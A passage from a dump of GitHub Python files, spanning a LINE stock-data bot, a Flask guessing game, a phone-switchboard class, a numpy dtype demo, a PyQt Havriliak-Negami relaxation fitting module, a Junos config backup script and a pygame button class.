pd.read_html(tb.prettify(), header = 0)[0]\n\n url = f'https://mops.twse.com.tw/mops/web/ajax_t163sb06?step=1&firstin=1&&TYPEK=otc&year={year}&season={season}'\n res = requests.get(url)\n soup = bs(res.text, 'lxml')\n tb = soup.select('.hasBorder')[0]\n dfotc = pd.read_html(tb.prettify(), header = 0)[0]\n\n df = pd.concat([dfsii, dfotc], ignore_index = True)\n df['公司代號'] = df['公司代號'].astype(str)\n strtext = ''\n if len(df[df['公司代號'] == stockno]) > 0:\n index = df[df['公司代號'] == stockno].index[0]\n strtext += '營業收入 (百萬元) ' + str(df.iloc[index, 2]) + '\\n'\n strtext += '毛利率(%) (營業毛利) / (營業收入) ' + str(df.iloc[index, 3]) + '\\n'\n strtext += '營業利益率(%) (營業利益)/ (營業收入) ' + str(df.iloc[index, 4]) + '\\n'\n strtext += '稅前純益率(%) (稅前純益)/ (營業收入) ' + str(df.iloc[index, 5]) + '\\n'\n strtext += '稅後純益率(%) (稅後純益)/ (營業收入) ' + str(df.iloc[index, 6]) + '\\n'\n else:\n strtext += f'此檔{stockno}股票尚未公告{year}/{season}的營益分析資料,請重新查詢!!'\n return strtext\n\ndef Help():\n strtext = '''\n 請輸入以下指令查詢:\\n\n 股計查詢:@/[股票代碼]\n ex: @2330\\n\n 營收/[股票代碼]\n ex: 營收/2330\\n\n 資券/[股票代碼]\n ex: 資券/2330\\n\n 現股當沖/[股票代碼]\n ex: 現股當沖/2330\\n\n 營益分析/[股票代碼]/[年度]/[季別]\n ex: 營益分析/2330/109/1\\n\n '''\n return strtext \n\n\n@app.route(\"/\", methods=['GET'])\ndef hello():\n return 'hello heroku'\n\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n signature = request.headers['X-Line-Signature']\n body = request.get_data(as_text=True)\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n print(\"Invalid signature. Please check your channel access token/channel secret.\")\n abort(400)\n\n return 'OK'\n\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_message(event):\n user_input = event.message.text\n if user_input == '?' or user_input == 'h':\n helptext = Help()\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=helptext))\n elif user_input[0:1] == '@':\n stockno = user_input[1:].strip()\n stocktext = getStockPrice(stockno)\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=stocktext))\n elif '營收/' in user_input:\n stockno = user_input.split('/')[1]\n stocktext = getRevenue(stockno)\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=stocktext))\n elif '資券/' in user_input:\n stockno = user_input.split('/')[1]\n stocktext = getCredittransaction(stockno)\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=stocktext))\n elif '現股當沖/' in user_input:\n stockno = user_input.split('/')[1]\n stocktext = getStockDayTrade(stockno)\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=stocktext)) \n elif '營益分析/' in user_input:\n stockno = user_input.split('/')[1]\n year = user_input.split('/')[2]\n season = user_input.split('/')[3]\n print(stockno, year, season)\n stocktext = getOperatingProfit(stockno, year, season)\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=stocktext)) \n else:\n errortext = '輸入指令錯誤,請重新輸入!!!\\n' + Help()\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=errortext)) \n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"white5168/stocklinbot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31485637929","text":"from flask import Flask\nimport random\n\napp = Flask(__name__)\n\nrand_num = random.randint(1, 9)\ngif_list = ['https://media.giphy.com/media/xT0xeE8uyMskq0Jg9W/giphy.gif',\n 'https://media.giphy.com/media/RtFxzpt8RxzDqCAgLh/giphy.gif',\n 'https://media.giphy.com/media/cPKtFMVbJhyhO/giphy.gif',\n 'https://media.giphy.com/media/d1E1szXDsHUs3WvK/giphy.gif',\n 'https://media.giphy.com/media/JsyTC1TiBDuYpbj6ZL/giphy.gif',\n 'https://media.giphy.com/media/l0ExncehJzexFpRHq/giphy.gif',\n 'https://media.giphy.com/media/26xBPdoEvUPUHWGE8/giphy.gif']\n\nlast_gif = \"\"\n\ndef make_h1(fn):\n def wrapper(**kwargs):\n for key, value in kwargs.items():\n return f'<h1>{fn(value)}</h1>'\n return wrapper\n\ndef add_gif(fn):\n def wrapper(*args):\n global last_gif\n new_gif = True\n while new_gif:\n gif = random.choice(gif_list)\n if gif != last_gif:\n new_gif = False\n last_gif = gif\n return f'{fn(args[0])}<br><img src={gif}>'\n return wrapper\n\n@app.route('/')\ndef guess_number():\n global last_gif\n gif = random.choice(gif_list)\n last_gif = gif\n\n return f\"<h1>Guess a number between 0 and 9</h1><img src={gif}>\"\n\n@app.route('/<int:number>')\n@make_h1\n@add_gif\ndef number_check(number):\n global rand_num\n if number > rand_num:\n return \"Sorry you guessed too high!\"\n elif number < rand_num:\n return \"Sorry you guessed too low!\"\n else:\n return \"Congratulations, you guessed the number!\"\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"seaniomoran/HigherLower_FlaskGame","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40333244382","text":"'''\r\nFile: phone.py\r\nAuthor: Gurjinder Singh\r\nDate: 12/4/2020\r\nSection: 53\r\nE-mail: gsingh10@umbc.edu\r\nDescription: class for phone objects\r\n\r\n'''\r\n\"\"\"\r\n Phone Class Starter Code\r\n\r\n This code defines the basic functionality that you need from a phone.\r\n When these functions are called they should communicate with the\r\n switchboards to find a path\r\n\"\"\"\r\n\r\n\r\nclass Phone:\r\n def __init__(self, number, switchboard):\r\n \"\"\"\r\n :param number: the phone number without area code\r\n :param switchboard: the switchboard to which the number is attached.\r\n \"\"\"\r\n self.number = number\r\n self.switchboard = switchboard\r\n self.call = None\r\n self.otherPhone = None\r\n # Number is interger number\r\n # switchboard is the associated phone associated switchboard\r\n # call contains a phone object, ment to make algorithms easier\r\n # otherphone is the otherphones number\r\n\r\n def connect(self, area_code, other_phone_number):\r\n \"\"\"\r\n :param area_code: the area code of the other phone number\r\n :param other_phone_number: the other phone number without the area code\r\n :return: **this you must decide in your implementation**\r\n \"\"\"\r\n\r\n if self.call != None: #Force closes current call to make new call (makes more sense and stops alot of errors)\r\n print(\"Disconnecting current call to make new call\")\r\n self.disconnect()\r\n\r\n previous_codes = []#recursive function call to locate other phone\r\n output = self.switchboard.connect_call(area_code, other_phone_number, previous_codes)\r\n if output == None:\r\n print(\"Phone not found\")\r\n else:#swaps data between the 2 phone objects, making eachone linked\r\n self.call = output\r\n self.otherPhone = output.findPhone(other_phone_number)\r\n self.otherPhone.call = self.switchboard\r\n self.otherPhone.otherPhone = self\r\n\r\n #output.findPhone(other_phone_number).call = self.switchboard\r\n\r\n #output.findPhone(other_phone_number).otherPhone = self\r\n #print(self.call.area_code)\r\n #print(self.otherPhone.number)\r\n #print(self.otherPhone.call.area_code)\r\n #print(self.otherPhone.otherPhone.number)\r\n return output\r\n\r\n def searchList(self, list, number):#test method\r\n for i in list:\r\n if i.number == number:\r\n print(i.number)\r\n\r\n def display(self, phonenumber):#display\r\n output = \"\"\r\n if self.call == None:\r\n output = (\" Phone with number: \" + str(self.number) + \" is not in use.\")\r\n else:\r\n output = (\" Phone with number: \" + str(self.number) + \" is connected to \" + str(self.call.area_code) + \"-\" + str(self.otherPhone.otherPhone.number))\r\n return output\r\n\r\n def disconnect(self):\r\n \"\"\"\r\n This function should return the connection status to disconnected. You need\r\n to use new members of this class to determine how the phone is connected to\r\n the other phone.\r\n\r\n You should also make sure to disconnect the other phone on the other end of the line.\r\n :return: **depends on your implementation**\r\n \"\"\"\r\n if self.call == None:\r\n print(str(self.switchboard.area_code) + \"-\" + str(self.number) + \" is not in a call\")\r\n else:#swaps data for both phones back to None (emulating disconnecting)\r\n print(\"Disconnected (\" + str(self.switchboard.area_code) + \"-\" + str(self.number) + \") and (\" + str(self.call.area_code) + \"-\" + str(self.otherPhone.number) + \")\")\r\n self.otherPhone.call = None\r\n self.otherPhone.otherPhone = None\r\n self.call = None\r\n self.otherPhone = None\r\n\r\n\r\n\r\n","repo_name":"gsingh2124/CMSC-201","sub_path":"Projects/Project3/phone.py","file_name":"phone.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4962888911","text":"import numpy as np\r\n\r\n# INT\r\nint_array = np.arange(10)\r\n# array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])\r\n\r\nint_array.dtype\r\n# dtype('int32')\r\n\r\n# FLOAT\r\nfloat_array = np.arange(10,dtype='float64')\r\n# array([0., 1., 2., 3., 4., 5., 6., 7., 8., 9.])\r\n\r\nfloat_array.dtype\r\n# dtype('float64')\r\n\r\n# COMPLEX\r\ncomplex_arr = np.array([1+2j, 2+4j])\r\n# array([1.+2.j, 2.+4.j])\r\n\r\ncomplex_arr.dtype\r\n# dtype('complex128')\r\n\r\n# BOOLEAN\r\nboolean_arr = np.array([True, False, True, False])\r\n\r\nboolean_arr.dtype\r\n# bool\r\n\r\n# for other datatypes refer https://numpy.org/doc/stable/user/basics.types.html","repo_name":"Akshaykumarcp/numpy","sub_path":"0.3_data_types.py","file_name":"0.3_data_types.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8371358404","text":"from PyQt6.QtCore import QObject, pyqtSignal, pyqtBoundSignal\nfrom PyQt6.QtWidgets import QFileDialog, QWidget, QMessageBox\nfrom PyQt6.QtGui import QUndoStack, QUndoCommand\n\nfrom .Relaxation import Relaxation\nfrom .Measurement import Measurement \nfrom .Parameter import Parameter\n\nfrom protocols import SettingsSource, Collection\n\nfrom readers import SettingsReader\n\nfrom pandas import DataFrame, Series, concat # type: ignore\nfrom numpy import ndarray, pi, power, finfo, diag, sum, sqrt, pi, power, linspace, log10, logspace\nfrom numpy import max as np_max\nfrom numpy import min as np_min\nfrom scipy.optimize import least_squares # type: ignore\nfrom scipy.linalg import svd #type: ignore\nfrom math import nextafter\n\nfrom typing import Self \n\nclass Fit(QObject):\n \"\"\"Represent one fit for Havriliak-Negami model with n-relaxation.\n\n Args:\n name (str): Name of fit.\n df (DataFrame): Measurement data(processed data from magnetometer).\n temp (float): Temperature measured during the measurement.\n field (float): Magnetic field strength during measurement.\n compound (SettingsSource): Examined compound.\n collection (Collection | None): The collection to which it belongs.\n\n Attributes:\n name_changed: Emitted when name change. Contains new name.\n df_changed: Emitted when at least one row in df changed.\n df_point_deleted: Emitted when row in df is removed.\n deletion_imposible: Emitted when deletion operation could not be performed.\n \"\"\"\n\n name_changed: pyqtSignal = pyqtSignal(str)\n df_changed: pyqtSignal = pyqtSignal()\n df_point_deleted: pyqtSignal = pyqtSignal()\n deletion_imposible:pyqtSignal = pyqtSignal()\n\n @staticmethod\n def model(logFrequency: ndarray, alpha: float, beta: float, tau: float, chi_dif: float, chi_s: float) -> ndarray:\n \"\"\"Implemntation of Havriliak-Negami model\n\n Args:\n logFrequency (ndarray): Logarytm of frequency.\n alpha (float): Alpha parameter\n beta (float): Beta parameter\n tau (float): Time of relaxation.\n chi_dif (float): chi_t - chi_s\n chi_s (float): \n\n Returns:\n ndarray: Model predictions for each point in domain\n \"\"\"\n return chi_s + (chi_dif)/((1 + (10**logFrequency*2*pi * power(10, tau) * 1j )**(1- alpha))**beta)\n\n @staticmethod\n def from_measurement(measurement: Measurement, compound:SettingsSource, nr_of_relaxations: int = 1):\n \"\"\" Create new Fit from Measurement and append it to the collection.\n\n\n Args:\n measurement (Measurement): Measurement from which Fit will be created.\n compound (SettingsSource): Source of boundaries for parameters.\n nr_of_relaxations (int, optional): Number of relaxations in Havriliak-Negami model. Defaults to 1.\n\n Returns:\n Fit: Created Fit\n \"\"\"\n df = measurement._df\n if df.isnull().values.any():\n msg: QMessageBox = QMessageBox()\n msg.setIcon(QMessageBox.Icon.Warning)\n msg.setText(f\"Some data in measurement named: {measurement._name} is missing.\\n Fit was not created!\")\n msg.setWindowTitle(\"Fit creation canceled\")\n msg.exec()\n return None\n \n fit_name: str = measurement._name + \"_Fit_Frequency\"\n fit: Fit = Fit(fit_name, measurement._df.copy(), measurement._tmp, measurement._field, compound, None)\n\n fit.relaxations = []\n i: int\n for i in range(nr_of_relaxations):\n fit.relaxations.append(Relaxation(compound))\n\n return fit\n def __init__(self, name: str, df: DataFrame, temp: float, field: float, compound:SettingsSource, collection: Collection[\"Fit\"]|None):\n super().__init__()\n self._name: str = name\n self._df: DataFrame = df\n\n self._tmp: float = temp\n self._field: float = field\n\n self.relaxations: list[Relaxation] = []\n\n self._compound: SettingsSource = compound\n self._collection: Collection[\"Fit\"] | None\n if collection is not None:\n self._collection = collection\n\n self._undo_stack: QUndoStack = QUndoStack()\n self.resolution = 50 # TO::DO \n\n for r in self.relaxations:\n r.reset_errors.connect(self.reset_errors_in_all_relaxations)\n\n def reset_errors_in_all_relaxations(self):\n for r in self.relaxations:\n r.set_all_errors(0.0, [0.0,0.0,0.0,0.0,0.0])\n\n @property\n def name(self):\n return self._name\n\n @name.setter\n def name(self, val:str):\n if len(val) < 1:\n raise ValueError(\"Compund name must be at least one character long\")\n if self._collection is not None:\n self._collection.update_names(old_name=self._name, new_name=val)\n self._name = val\n self.name_changed.emit(val)\n\n class Rename(QUndoCommand):\n def __init__(self, fit: \"Fit\", new_name:str):\n super().__init__()\n self._fit = fit\n self.new_name = new_name\n self.old_name = fit.name\n \n def redo(self) -> None:\n self._fit.name = self.new_name\n\n def undo(self) -> None:\n self._fit.name = self.old_name\n\n class HidePoint(QUndoCommand):\n def __init__(self, fit: \"Fit\", x: float, x_str: str):\n super().__init__()\n self.fit: Fit = fit\n self.x: float = x\n self.x_str: str = x_str\n\n def redo(self) -> None:\n self.fit._hide_point(self.x, self.x_str)\n\n def undo(self) -> None:\n self.fit._hide_point(self.x, self.x_str)\n\n class DeletePoint(QUndoCommand):\n def __init__(self, fit: \"Fit\", x: float, x_str: str, error_signal: pyqtBoundSignal):\n\n super().__init__()\n self.fit: Fit = fit\n self.x: float = x\n self.x_str: str = x_str\n self.point: DataFrame = DataFrame()\n self.error_signal = error_signal\n\n def redo(self) -> None:\n try:\n self.point = self.fit._delete_point(self.x, self.x_str)\n except IndexError:\n self.error_signal.emit()\n\n def undo(self) -> None:\n self.fit._df = concat([self.fit._df, self.point])\n self.fit.df_changed.emit()\n\n @property\n def molar_mass(self):\n return self._molar_mass\n\n @molar_mass.setter\n def molar_mass(self, val:float):\n if val <= 0:\n raise ValueError(\"Molar mass must be greater than 0\")\n\n self._molar_mass = val\n\n def set_name(self, new_name: str):\n \"\"\"Sets fit name. This action can be undone.\n\n Args:\n new_name (str): New measurement name\n \"\"\"\n self._undo_stack.push(self.Rename(self, new_name))\n \n def hide_point(self, x: float, x_str: str):\n \"\"\"Change point visibility on the opposite of actual. This action can be undone.\n\n Args:\n x (float): Value of point for domain column.\n x_str (str): Name of domain column.\n \"\"\"\n self._undo_stack.push(self.HidePoint(self, x, x_str))\n\n def delete_point(self, x: float, x_str: str):\n \"\"\"Delete point. This action can be undone.\n\n Args:\n x (float): Value of point for domain column.\n x_str (str): Name of domain column.\n\n Raises:\n IndexError: Raised when there is not enough points to delete any more.\n \"\"\"\n self._undo_stack.push(self.DeletePoint(self, x, x_str, self.deletion_imposible))\n\n def _hide_point(self, x: float, x_str: str):\n \"\"\"Hide point \n\n Args:\n x (float): Value of point for domain column.\n x_str (str): Name of domain column.\n \"\"\"\n actual: bool = bool(self._df.loc[self._df[x_str] == x]['Hidden'].values[0])\n self._df.loc[self._df[x_str] == x, \"Hidden\"] = not actual\n self.df_changed.emit()\n\n def _delete_point(self, x: float, x_str: str):\n \"\"\"Delete point \n\n Args:\n x (float): Value of point for domain column.\n x_str (str): Name of domain column.\n \"\"\"\n if self._df.shape[0] == 2:\n raise IndexError\n\n point: DataFrame = self._df.loc[self._df[x_str] == x]\n self._df.drop(self._df.loc[self._df[x_str] == x].index, inplace=True)\n self.df_point_deleted.emit()\n return point\n\n\n def cost_function(self, p):\n \"\"\"Cost function minimalized in least_square method in fitting process.\n\n Args:\n p (_type_): Parameters for all relaxations.\n\n Returns:\n _type_: Cost of fit.\n \"\"\"\n rest = self._df.loc[self._df[\"Hidden\"] == False]\n\n sum_real = 0\n sum_img = 0\n i = 0\n while i < len(self.relaxations):\n r = Fit.model(rest[\"FrequencyLog\"].values, p[0+i*5], p[1+i*5], p[2+i*5], p[3+i*5], p[4+i*5])\n sum_real += r.real\n sum_img += -r.imag\n\n i += 1\n\n dif_real = abs((sum_real - rest['ChiPrimeMol']))\n dif_img = abs((sum_img - rest['ChiBisMol']))\n\n\n return dif_real + dif_img\n\n def make_auto_fit(self, auto: bool = False, next_fit: Self = None): # type: ignore\n \"\"\"Solve a nonlinear least-squares problem with bounds on the variables for cost_function().\n\n Args:\n auto (bool, optional): Determines whether fit was explicitly call by user. Defaults to False.\n next_fit (Self, optional): Fit to transfer parameters value in case of performing automated fit process for mutiple Fits. Defaults to None.\n \"\"\"\n if len(self.relaxations) == 1:\n not_blocked_parameters:list[Parameter] = []\n blocked_parameters:list[Parameter] = [] \n\n for j, p in enumerate(self.relaxations[0].parameters):\n if p.is_blocked:\n blocked_parameters.append(p)\n else:\n not_blocked_parameters.append(p)\n\n param_str = \"\"\n for p in not_blocked_parameters:\n param_str = param_str +f\", {p.name}\"\n\n not_blocked_names = [p.name for p in not_blocked_parameters]\n not_blocked_params = [p.value for p in not_blocked_parameters]\n\n model_body = \"return {chi_s} + ({chi_dif})/((1 + (10**logFrequency*2*pi * power(10, {tau}) * 1j )**(1- {alpha}))**{beta})\".format(\n chi_s=\"chi_s\" if \"chi_s\" in not_blocked_names else next((x for x in blocked_parameters if x.name == \"chi_s\")).value,\n chi_dif=\"chi_dif\" if \"chi_dif\" in not_blocked_names else next((x for x in blocked_parameters if x.name == \"chi_dif\")).value,\n tau=\"log10_tau\" if \"log10_tau\" in not_blocked_names else next((x for x in blocked_parameters if x.name == \"log10_tau\")).value,\n alpha=\"alpha\" if \"alpha\" in not_blocked_names else next((x for x in blocked_parameters if x.name == \"alpha\")).value,\n beta=\"beta\" if \"beta\" in not_blocked_names else next((x for x in blocked_parameters if x.name == \"beta\")).value,\n )\n meta_model_str = \"\"\"\ndef m_model(logFrequency {param_str}):\n {model_body}\nself.meta_model = m_model\n \"\"\".format(model_body= model_body, param_str=param_str)\n\n exec(meta_model_str, {\"self\":self, \"pi\":pi, \"power\":power})\n exec(\"\"\"\ndef meta_auto_fit(self):\n def cost_function(p):\n rest = self._df.loc[self._df[\"Hidden\"] == False]\n sum_real = 0\n sum_img = 0\n\n r = self.meta_model(rest[\"FrequencyLog\"].values, *p)\n sum_real += r.real\n sum_img += -r.imag\n\n dif_real = abs((sum_real - rest['ChiPrimeMol']))\n dif_img = abs((sum_img - rest['ChiBisMol']))\n \n return dif_real + dif_img\n \n settings: SettingsReader = SettingsReader()\n tole = settings.get_tolerances()\n\n try:\n try:\n res = least_squares(cost_function, not_blocked_params, ftol=tole[\"f_tol\"], xtol=tole[\"x_tol\"], gtol=tole[\"g_tol\"])\n except ValueError as e:\n msg: QMessageBox = QMessageBox()\n msg.setIcon(QMessageBox.Icon.Warning)\n msg.setText(\"One of tolerances is to low. You can adjust them in settings.\")\n msg.setText(str(e))\n msg.setWindowTitle(\"Auto fit failed\")\n msg.exec()\n return\n _, s, Vh = svd(res.jac, full_matrices=False)\n tol = finfo(float).eps * s[0] * np_max(res.jac.shape)\n w = s > tol\n cov = (Vh[w].T/s[w]**2) @ Vh[w] # robust covariance matrix\n\n chi2dof = sum(res.fun**2)/(res.fun.size - res.x.size)\n cov *= chi2dof\n\n perr = sqrt(diag(cov))\n except Exception as e:\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Icon.Warning)\n msg.setText(\"Something went wrong. Try change starting values of parameters.\")\n msg.setText(str(e))\n msg.setWindowTitle(\"Auto fit failed\")\n msg.exec()\n return\n\n for i,p in enumerate(not_blocked_parameters):\n p.set_value(res.x[i])\n p.set_error(perr[i], silent=True)\n \n for p in blocked_parameters:\n p.set_error(0.0, silent=True)\n \n self.relaxations[0].residual_error = res.cost\n self.relaxations[0].all_parameters_changed.emit() \n\n \n if auto:\n self.save_all_relaxations()\n if next_fit != None: #type: ignore\n self.copy_all_relxations(next_fit) \n \nmeta_auto_fit(self)\n \"\"\", {\"self\": self, \"SettingsReader\":SettingsReader, \"not_blocked_params\": not_blocked_params, \"QMessageBox\":QMessageBox, \"svd\":svd,\n \"finfo\":finfo, \"np_max\":np_max, \"sum\":sum, \"sqrt\":sqrt, \"not_blocked_parameters\":not_blocked_parameters, \"blocked_parameters\": blocked_parameters,\n \"next_fit\": next_fit, \"least_squares\": least_squares, \"diag\":diag, \"auto\":auto })\n return\n else:\n params: tuple = ()\n min: list = []\n max: list = []\n for r_nr in range(len(self.relaxations)):\n relaxation = self.relaxations[r_nr]\n params = params + relaxation.get_parameters_values()\n min = min + relaxation.get_parameters_min_bounds()\n max = max + relaxation.get_parameters_max_bounds()\n\n \n r: Relaxation\n i: int\n for i, r in enumerate(self.relaxations):\n for j, p in enumerate(r.parameters):\n if p.is_blocked:\n min[j + i*len(r.parameters)] = nextafter(p.value, min[j + i*len(r.parameters)])\n max[j + i*len(r.parameters)] = nextafter(p.value, max[j + i*len(r.parameters)])\n\n bounds: tuple[list[float], list[float]] = (min, max)\n minimal: float = np_min(params)\n maximal: float = np_max(params)\n\n settings: SettingsReader = SettingsReader()\n tole = settings.get_tolerances()\n try:\n try:\n res = least_squares(self.cost_function, params, bounds=bounds, ftol=tole[\"f_tol\"], xtol=tole[\"x_tol\"], gtol=tole[\"g_tol\"])\n except ValueError as e:\n msg: QMessageBox = QMessageBox()\n msg.setIcon(QMessageBox.Icon.Warning)\n msg.setText(\"One of tolerances is to low. You can adjust them in settings.\\n\")\n msg.setText(str(e))\n msg.setWindowTitle(\"Auto fit failed\")\n msg.exec()\n return\n\n _, s, Vh = svd(res.jac, full_matrices=False)\n tol = finfo(float).eps * s[0] * np_max(res.jac.shape)\n w = s > tol\n cov = (Vh[w].T/s[w]**2) @ Vh[w] # robust covariance matrix\n\n chi2dof = sum(res.fun**2)/(res.fun.size - res.x.size)\n cov *= chi2dof\n\n perr = sqrt(diag(cov))\n except Exception as e:\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Icon.Warning)\n msg.setText(\"Something went wrong. Try change starting values of parameters.\\n\")\n msg.setText(str(e))\n msg.setWindowTitle(\"Auto fit failed\")\n msg.exec()\n return\n\n for i, r in enumerate(self.relaxations):\n for j, p in enumerate(r.parameters):\n p.set_value(res.x[j + i*len(r.parameters)])\n\n for i, r in enumerate(self.relaxations):\n r.set_all_errors(res.cost, perr[i*5 : i*5+5])\n\n if auto:\n self.save_all_relaxations()\n if next_fit != None: #type: ignore\n self.copy_all_relxations(next_fit)\n\n def save_to_file(self):\n \"\"\"Savig result to .csv file\"\"\"\n save_name, _ = QFileDialog.getSaveFileName(QWidget(), 'Save file')\n if save_name is not None:\n try:\n with open(save_name + (\".csv\" if save_name[-4:] != \".csv\" else \"\"), \"w\") as f:\n self.get_result().to_csv(f.name, index=False, sep = \";\")\n except Exception as e:\n print(e)\n return\n\n def get_result(self,) -> DataFrame:\n \"\"\"Get DataFrame with results of fitting process.\n\n Returns:\n DataFrame: Result of fit in DataFrame format.\n \"\"\"\n\n df_param: DataFrame = DataFrame([['T', self._tmp, 0], ['H', self._field, 0]], columns=['Name', 'Value','Error'])\n\n \n df_experimental: DataFrame = self._df[[\"Frequency\", \"ChiPrimeMol\",\"ChiBisMol\"]]\n columns_names: list[str] = [f\"Frequency T={self._tmp} H={self._field}\",\n f\"ChiPrimeMol T={self._tmp} H={self._field}\", f\"ChiBisMol T={self._tmp} H={self._field}\"]\n df_experimental.columns = columns_names\n df_experimental.reset_index(drop=True, inplace=True)\n \n df_model_final: DataFrame = DataFrame()\n for i, r in enumerate(self.relaxations):\n for p in r.saved_parameters:\n name:str = p.name if p.name != \"chi_dif\" else \"chi_t-chi_s\"\n row = { \"Name\": f\"{name}{i+1}\", \"Value\": p.value, \"Error\": p.error}\n df_param = concat([df_param, DataFrame([row])], ignore_index=True)\n\n\n df_model: DataFrame = DataFrame()\n displayed: DataFrame = self._df.loc[self._df[\"Hidden\"] == False]\n\n xx:ndarray = logspace(log10(displayed[\"Frequency\"].min()), log10(displayed[\"Frequency\"].max()), self.resolution)\n df_model[\"Model\"+columns_names[0]] = Series(xx)\n yy = Fit.model(log10(xx), *self.relaxations[i].get_saved_parameters_values())\n df_model[\"Model\"+columns_names[1]] = Series(yy.real)\n df_model[\"Model\"+columns_names[2]] = Series(-yy.imag)\n df_model_final = concat([df_model_final, df_model], axis=1)\n\n if i != 0:\n columns = list(df_model_final.columns)\n for j in range(0, len(columns), 3):\n rel_str:str = f\" rel_nr={j//3 + 1}\"\n columns[j] += rel_str\n columns[j+1] += rel_str\n columns[j+2] += rel_str\n df_model_final.columns = columns\n\n df: DataFrame = concat([df_param, df_experimental, df_model_final], axis=1)\n return df\n\n def save_all_relaxations(self):\n \"\"\"Save current parameters of all relaxations.\n \"\"\"\n for r in self.relaxations:\n r.save()\n\n def copy_all_relxations(self, other: Self): #type: ignore\n \"\"\"Copy saved parameters for all relaxations\"\"\"\n for i, r in enumerate(other.relaxations): #type: ignore\n r.copy(self.relaxations[i])\n\n def get_jsonable(self) -> dict:\n \"\"\"Marshal object to python dictionary.\n\n Returns:\n dict: Dictionary ready to save as .json\n \"\"\"\n\n r_list: list[dict] = []\n for r in self.relaxations:\n r_list.append(r.get_jsonable())\n jsonable = {\n \"name\": self._name, \n \"df\": self._df.to_json(),\n \"tmp\": self._tmp,\n \"field\": self._field,\n \"relaxations\": r_list\n }\n return jsonable\n\n def update_relaxations_from_json(self, relaxations_json: list[dict]):\n \"\"\"From given dictionary recreate saved state of relaxations.\n\n Args:\n relaxations_json (list[dict]): Result of self.get_jsonable()\n \"\"\"\n self.relaxations = []\n for i, r_j in enumerate(relaxations_json):\n r: Relaxation = Relaxation(self._compound)\n r.residual_error = r_j[\"residual_error\"]\n r.saved_residual_error = r_j[\"saved_residual_error\"]\n r.was_saved = r_j[\"was_saved\"]\n \n for j, p in enumerate(r.parameters):\n p.update_from_json(r_j[\"parameters\"][j])\n\n for k, s_p in enumerate(r.saved_parameters):\n s_p.update_from_json(r_j[\"saved_parameters\"][k])\n\n self.relaxations.append(r)\n\n def undo(self):\n self._undo_stack.undo()\n\n def redo(self):\n self._undo_stack.redo()","repo_name":"ZychuDev/relACs","sub_path":"models/Fit.py","file_name":"Fit.py","file_ext":"py","file_size_in_byte":21370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42243235762","text":"#!/usr/bin/python3\n\nimport os\nimport sys\nimport json\nimport yaml\nimport argparse\nfrom pathlib import Path\n\nfrom jnpr.junos import Device\nfrom jnpr.junos.utils.config import Config\nfrom jnpr.junos.exception import ConnectError\n\nfrom lxml import etree\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-s', '--sshconfig', help='SSH config file', default='~/.ssh/config_homer')\nparser.add_argument('-d', '--outputdir', help='Directory for saved config files', default='saved_configs')\nparser.add_argument('-t', '--topology_file', help='Location of containerlab topology file.', required=True)\nargs = parser.parse_args()\n\ndef main():\n Path(f\"{args.outputdir}\").mkdir(exist_ok=True, parents=True)\n\n with open(args.topology_file, 'r') as topology_file:\n clab = yaml.safe_load(topology_file)\n\n for node_name, node_conf in clab['topology']['nodes'].items():\n if node_conf['kind'] in ['vr-vqfx', 'vr-vmx', 'crpd']:\n print(f\"Connecting to {node_name}... \", end=\"\", flush=True)\n junos_dev = get_junos_dev(node_name)\n config = junos_dev.rpc.get_config(options={'format':'json'})\n with open(f\"{args.outputdir}/{node_name}.json\", \"w\") as config_file:\n config_file.write(json.dumps(config))\n config = junos_dev.rpc.get_config(options={'format':'set'})\n with open(f\"{args.outputdir}/{node_name}.cfg\", \"w\") as config_file:\n config_file.write(etree.tostring(config, encoding='unicode'))\n print(\"saved ok.\")\n\n\ndef get_junos_dev(dev_name):\n # Initiates NETCONF session to router\n try:\n device = Device(dev_name, ssh_config=args.sshconfig, port=22)\n device.open()\n except ConnectError as err:\n print(f\"Cannot connect to device: {err}\")\n sys.exit(1)\n\n # Get config object\n device.bind(config=Config)\n\n return device\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"topranks/homerlabs","sub_path":"save_junos_configs.py","file_name":"save_junos_configs.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24144730232","text":"import pygame\npygame.font.init() # you have to call this at the start, \n # if you want to use this module.\nmy_font = pygame.font.SysFont('Comic Sans MS', 30)\nclass Button:\n\n def __init__(self, text, x, y, onClick, width=100, height=50):\n self.text = text\n self.rect = pygame.Rect(x, y, width, height)\n self.color = (120, 120, 120)\n self.onClick = onClick\n\n def draw(self, screen):\n pygame.draw.rect(screen, self.color, self.rect)\n screen.blit(my_font.render(self.text, False, (255, 255, 255)), (self.rect.x, self.rect.y))\n\n def update(self, clicked):\n x, y = pygame.mouse.get_pos()\n if(self.rect.collidepoint((x, y))):\n self.color = (60, 60, 60)\n if(clicked):\n self.onClick()\n else:\n self.color = 